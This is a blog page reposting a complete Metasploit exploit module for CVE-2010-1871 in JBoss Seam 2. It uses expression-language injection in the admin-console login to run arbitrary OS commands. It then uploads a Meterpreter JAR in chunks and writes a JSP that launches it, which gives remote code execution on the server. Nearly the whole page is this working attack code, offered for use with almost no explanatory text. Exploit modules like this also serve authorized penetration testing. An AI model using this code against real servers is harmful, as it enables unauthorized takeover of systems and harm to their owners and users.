Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86374877

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Exploit::FileDropper


    def initialize(info = {})
        super(update_info(info,
        'Name'                  => 'JBoss Seam 2 File Upload and Execute',
        'Description'   => %q{
            Versions of the JBoss Seam 2 framework  < 2.2.1CR2 fails to properly
            sanitize inputs to some JBoss Expression Language expressions.  As a
            result, attackers can gain remote code execution through the
            application server.  This module leverages RCE to upload and execute
            a meterpreter payload.

            Versions of the JBoss AS admin-console are known to be vulnerable to
            this exploit, without requiring authentication.  Tested against
            JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.

            This module provides a more efficient method of exploitation - it
            does not loop to find desired Java classes and methods.

            NOTE: the check for upload success is not 100% accurate.
            NOTE 2: The module uploads the meterpreter JAR and a JSP to launch
            it.

        },
        'Author'                => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
        'References'            =>
        [
            # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
            ['CVE', '2010-1871'],
            ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
            ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
            ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
        ],
        'DisclosureDate' => "Aug 05 2010",
        'License'               => MSF_LICENSE,
        'Platform'              => %w{ java },
        'Targets'               =>
        [
            [ 'Java Universal',
                {
                    'Arch' => ARCH_JAVA,
                    'Platform' => 'java'
                },
            ]
        ],
        'DefaultTarget'       => 0
        ))

        register_options(
        [
            Opt::RPORT(8080),
            OptString.new('AGENT',  [ true,  "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),
            OptString.new('CTYPE',  [ true,  "Content-Type to send with requests", "application/x-www-form-urlencoded"]),
            OptString.new('TARGETURI',  [ true,  "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),
            OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
            OptString.new('FNAME',  [ false,  "Name of file to create - NO EXTENSION! (default: random)", nil]),
            OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
        ], self.class)
    end


    def check
        vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")
        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            vprint_debug("Server sent a 302 with location")
            if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
                report_vuln({
                    :host => rhost,
                    :port => rport,
                    :name => "#{self.name} - #{uri}",
                    :refs => self.references,
                    :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
                })
                return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
        else
            return Exploit::CheckCode::Unknown
        end

        # If we reach this point, we didn't find the service
        return Exploit::CheckCode::Unknown
    end


    def execute_cmd(cmd)
        cmd_to_run = Rex::Text.uri_encode(cmd)
        vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")
        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
                vprint_status("#{rhost}:#{rport} Exploit successful")
            else
                vprint_status("#{rhost}:#{rport} Exploit failed.")
            end
        else
            vprint_status("#{rhost}:#{rport} Exploit failed.")
        end
    end


    def call_jsp(jspname)
        # TODO ugly way to strip off last resource on a path
        uri = target_uri.path
        *keep,ignore = uri.split(/\//)
        keep.push(jspname)
        uri = keep.join("/")
        uri = "/" + uri if (uri[0] != "/")

        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "sessionid=" + Rex::Text.rand_text_alpha(32)
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 200)
            vprint_status("Successful request to JSP")
        else
            vprint_error("Failed to request JSP")
        end
    end


    def upload_jsp(filename,jarname)
        jsp_text = <<EOJSP
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>
EOJSP
        vprint_status("Uploading JSP to launch payload")
        status = upload_file_chunk(filename,'false',jsp_text)
        if status
            vprint_status("JSP uploaded to to #{filename}")
        else
            vprint_error("Failed to upload file.")
        end

        @pl_sent = true
    end


    def upload_file_chunk(filename, append='false', chunk)
        # create URL-safe Base64-encoded version of chunk
        b64 = Rex::Text.encode_base64(chunk)
        b64 = b64.gsub("+","%2b")
        b64 = b64.gsub("/","%2f")

        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            # TODO Including the conversationId part in this regex might cause
            # failure on other Seam applications.  Needs more testing
            if (res.headers['Location'] =~ %r(user=&conversationId))
                #vprint_status("#{rhost}:#{rport} Exploit successful.")
                return true
            else
                #vprint_status("#{rhost}:#{rport} Exploit failed.")
                return false
            end
        else
            #vprint_status("#{rhost}:#{rport} Exploit failed.")
            return false
        end
    end


    def get_full_path(filename)
        #vprint_debug("Trying to find full path for #{filename}")

        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            # the user argument should be set to the result of our call - which
            # will be the full path of our file
            matches = /.*user=(.+)\&.*/.match(res.headers['Location'])
            #vprint_debug("Location is " + res.headers['Location'])
            if (matches and matches.captures)
                return Rex::Text::uri_decode(matches.captures[0])
            else
                return nil
            end
        else
            return nil
        end
  end


    def java_stager(fname, chunk_size)
        @payload_exe = fname + ".jar"
        jsp_name = fname + ".jsp"

        #data = payload.encoded_jar.pack
        data = payload.encoded_jar.pack

        append = 'false'
        while (data.length > chunk_size)
            status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
            if status
                vprint_debug("Uploaded chunk")
            else
                vprint_error("Failed to upload chunk")
                break
            end
            data = data[chunk_size, data.length - chunk_size]
            # first chunk is an overwrite, afterwards, we need to append
            append = 'true'
        end
        status = upload_file_chunk(@payload_exe, 'true', data)
        if status
            vprint_status("Payload uploaded to " + @payload_exe)
        else
            vprint_error("Failed to upload file.")
        end

        # write a JSP that can call the payload in the jar
        upload_jsp(jsp_name, @payload_exe)

        pe_path = get_full_path(@payload_exe) || @payload_exe
        jsp_path = get_full_path(jsp_name) || jsp_name
        # try to clean up our stuff;
        register_files_for_cleanup(pe_path, jsp_path)

        # call the JSP to launch the payload
        call_jsp(jsp_name)
    end

    def exploit
        @pl_sent = false

        if check == Exploit::CheckCode::Vulnerable

            fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8))

            vprint_status("#{rhost}:#{rport} Host is vulnerable")
            vprint_status("#{rhost}:#{rport} Uploading file...")

            # chunking code based on struts_code_exec_exception_delegator
            append = 'false'
            chunk_size = datastore['CHUNKSIZE']
            # sanity check
            if (chunk_size <= 0)
                vprint_error("Invalid chunk size #{chunk_size}")
                return
            end

            vprint_debug("Sending in chunks of #{chunk_size}")

            case target['Platform']
            when 'java'
                java_stager(fname, chunk_size)
            else
                fail_with(Failure::NoTarget, 'Unsupported target platform!')
            end

            handler
        end
    end
end